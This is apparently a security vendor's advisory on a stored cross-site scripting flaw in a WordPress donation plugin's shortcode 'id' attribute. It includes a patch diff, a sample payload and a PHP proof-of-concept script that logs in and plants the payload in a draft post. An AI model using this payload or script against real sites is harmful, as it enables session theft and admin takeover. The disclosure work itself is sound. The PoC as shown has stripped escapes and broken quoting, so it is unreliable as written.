Published : August 10, 2026

CVE-2026-65518: Accept Donations with PayPal & Stripe <= 1.5.5 Authenticated (Contributor+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.5.5
Patched Version 1.5.6
Disclosed July 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65518: The Accept Donations with PayPal & Stripe plugin for WordPress, versions up to and including 1.5.5, contains a Stored Cross-Site Scripting (XSS) vulnerability. This flaw allows authenticated users with at least Contributor-level access to inject arbitrary web scripts into pages. The vulnerability is triggered through the plugin’s shortcode, specifically the ‘id’ attribute, which is insufficiently sanitized. This was cataloged as CWE-79 with a CVSS score of 6.4.

Root Cause: The root cause is the unchecked use of the `id` attribute within the plugin’s shortcode handler in the file `easy-paypal-donation/includes/public_shortcode.php`. The shortcode’s attributes are merged with defaults via `shortcode_atts()`, but the `id` value is then directly assigned to `$post_id` without sanitization. Later in the same file, this value is concatenated into HTML `id` attributes for output. The vulnerable code path involves the `wpedon_button` shortcode, which processes user-supplied attributes. The specific flaw is that a value such as `id=”123′ onfocus=…”` can break out of an HTML attribute and introduce event handlers. The patch resolves this by casting the value to an absolute integer with `absint()`.

Exploitation: To exploit this vulnerability, an attacker with Contributor-level access or higher can create or edit a post and insert the vulnerable shortcode. The attack vector is the `id` attribute of the `[wpedon_button]` shortcode. A malicious payload, for example `[wpedon_button id=”123′ onfocus=’alert(1)’ x='”]`, would be stored in the post content. When any user, including a site administrator, views the post, the browser parses the injected HTML. In this example, when the element receives focus, it would execute the `alert(1)` JavaScript. An attacker can leverage this to steal session cookies, perform actions on behalf of the administrator, or inject malicious content into the site.

Patch Analysis: The patch modifies `easy-paypal-donation/includes/public_shortcode.php` by replacing the line `$post_id = $atts[‘id’];` with `$post_id = absint( $atts[‘id’] );`. The `absint()` function converts the input to a non-negative integer. This operation neutralizes any attempts to inject HTML or JavaScript payloads through this parameter. Before the patch, the raw string from the shortcode attribute was passed directly into the output. After the patch, the value is a pure integer, which is immune to attribute-breakout attacks. The plugin version was also bumped from 1.5.5 to 1.5.6. This change directly addresses the vulnerability by ensuring only a numeric post ID can be used.

Impact: Successful exploitation results in Stored Cross-Site Scripting. An attacker can inject arbitrary JavaScript that executes in the browser of any user visiting the affected page. The impact is magnified if an administrator views the page, as the script would run in the context of the administrator’s session. This can lead to complete site compromise, including the creation of rogue administrator accounts, data theft, and the installation of further malware. The potential for privilege escalation from a Contributor to an Administrator is a critical business risk.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/easy-paypal-donation/easy-paypal-donation.php
+++ b/easy-paypal-donation/easy-paypal-donation.php
@@ -12,7 +12,7 @@
 Author: Scott Paterson
 Author URI: https://wpplugin.org
 License: GPL2
-Version: 1.5.5
+Version: 1.5.6
 Text Domain: easy-paypal-donation
 Domain Path: /languages
 */
@@ -43,7 +43,7 @@
 }

 define('WPEDON_FREE_DIR_PATH', plugin_dir_path(__FILE__));
-define('WPEDON_FREE_VERSION_NUM', '1.5.5');
+define('WPEDON_FREE_VERSION_NUM', '1.5.6');
 define( 'WPEDON_FREE_PPCP_API', 'https://wpplugin.org/ppcp-wpedon/');
 define( 'WPEDON_FREE_STRIPE_CONNECT_ENDPOINT', 'https://wpplugin.org/stripe-wpedon/connect.php');

--- a/easy-paypal-donation/includes/public_shortcode.php
+++ b/easy-paypal-donation/includes/public_shortcode.php
@@ -16,7 +16,12 @@
         'image' 	=> ''
     ), $atts);

-    $post_id = $atts['id'];
+    // Cast the shortcode id to a non-negative integer. Post IDs are always
+    // integers, and every usage below (get_post, get_post_meta, etc.) already
+    // relied on PHP silently casting this value. Casting here at the source
+    // prevents attribute-breakout payloads (e.g. id="123' onfocus=...") from
+    // being concatenated into the output HTML id attributes further down.
+    $post_id = absint( $atts['id'] );

 	// paypal account data
 	$ppcp = new WPEasyDonationBasePpcpController();
--- a/easy-paypal-donation/templates/page/admin_settings.php
+++ b/easy-paypal-donation/templates/page/admin_settings.php
@@ -682,7 +682,7 @@
                         </div>
                         <div style="background-color:#fff;padding:12px;text-align:center;">
                             <p style="margin-top:0;"><?php _e('A lot of work went into building this plugin. A quick review helps us keep it free and growing!', 'easy-paypal-donation'); ?></p>
-                            <a target="_blank" href="https://wordpress.org/support/plugin/easy-paypal-donation/reviews/?filter=5#new-post" class="button-primary" style="font-size: 14px;"><?php _e('Leave a Review', 'easy-paypal-donation'); ?></a>
+                            <a target="_blank" href="https://wordpress.org/support/plugin/easy-paypal-donation/reviews/#new-post" class="button-primary" style="font-size: 14px;"><?php _e('Leave a Review', 'easy-paypal-donation'); ?></a>
                         </div>
                     </div>

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-65518 - Accept Donations with PayPal & Stripe <= 1.5.5 - Authenticated (Contributor+) Stored Cross-Site Scripting

// This PoC demonstrates how a Contributor-level user can inject a stored XSS payload
// via the vulnerable shortcode.

// Configuration: change these values to match your target environment
$target_url = 'http://target.local/wp-admin/post-new.php'; // WordPress admin new post page
$login_url = 'http://target.local/wp-login.php'; // WordPress login URL
$username = 'contributor_user'; // Username with Contributor role
$password = 'contributor_pass'; // Password for the user

// --- Step 1: Login ---
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query(['log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In', 'redirect_to' => $target_url]),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => '/tmp/cookies.txt', // Store cookies
    CURLOPT_FOLLOWLOCATION => false,
]);
$response = curl_exec($ch);
curl_close($ch);

// Check if login was successful by following redirect to admin page
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
]);
$dashboard = curl_exec($ch);
curl_close($ch);

if (strpos($dashboard, 'Add New Post') === false) {
    die('[-] Login failed or unable to access post editor.');
}
echo "[+] Successfully logged in as '$username' and accessed post editor.n";

// --- Step 2: Extract necessary nonces from the editor page ---
$nonce_pattern = '/name="_wpnonce" value="([a-f0-9]+)"/i';
preg_match($nonce_pattern, $dashboard, $matches);
if (!isset($matches[1])) {
    die('[-] Could not find post creation nonce.');
}
$post_nonce = $matches[1];

echo "[+] Extracted post nonce: $post_noncen";

// --- Step 3: Create a new post with the malicious shortcode ---
$payload_shortcode = '[wpedon_button id="123' onfocus='alert(1)'"]';
$post_data = [
    'post_title' => 'Atomtic Edge XSS PoC',
    'content' => $payload_shortcode,
    'post_status' => 'draft', // Use draft to avoid publishing malicious content, only demonstrate the on-page execution vulnerability
    'post_type' => 'post',
    '_wpnonce' => $post_nonce,
];

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($post_data),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
]);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, 'message') !== false) {
    echo "[+] Post created successfully with malicious shortcode.n";
} else {
    echo "[-] Failed to create post. Review the response for errors.n";
    exit(1);
}

// --- Step 4: Instruct user to view the post ---
$post_url_pattern = '/"([^"]*??p=d+)"/';
preg_match($post_url_pattern, $response, $post_matches);
if (isset($post_matches[1])) {
    echo "[+] View the post (preview as admin) at: " . $post_matches[1] . "n";
} else {
    echo "[+] Post created. Visit the post to confirm the payload.n";
}

echo "[+] PoC complete. Check for the JavaScript alert(1) when the page is viewed.n";

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.